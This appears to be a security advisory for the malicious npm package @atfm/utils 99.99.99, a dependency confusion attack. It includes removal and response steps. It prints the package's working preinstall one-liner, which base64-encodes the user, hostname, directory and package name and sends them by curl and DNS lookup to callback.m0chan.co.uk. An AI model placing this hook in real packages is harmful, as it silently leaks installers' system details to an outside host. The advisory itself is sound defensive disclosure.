NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

@atfm/utilsnpm

Advisory published Updated

@atfm/utils is a confirmed malicious npm package (MAL-2026-18602) that executes malicious code on install (malicious version 99.99.99). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @atfm/utils (npm)

MAL-2026-18602
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @atfm/utils

What this malware does

@atfm/[email protected] is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is:

b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk

The same script appears in @atfm/utils and @atfm/atfm-material-ui, both at 99.99.99, and in other packages already listed in this database that call back to callback.m0chan.co.uk. Both @atfm packages have since been removed from npm.

Malicious versions

1 flagged
99.99.99

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for @atfm/utils (version 99.99.99).

  2. If you installed it — respond

    Remove @atfm/utils from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If @atfm/utils was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @atfm/utils on npm has been identified as a malicious package (version 99.99.99 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Credits

  • Chainguard · finder

Detect & block this

O3 blocks @atfm/utils-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

@atfm/utils (npm) malicious package — MAL-2026-18602 | O3 Security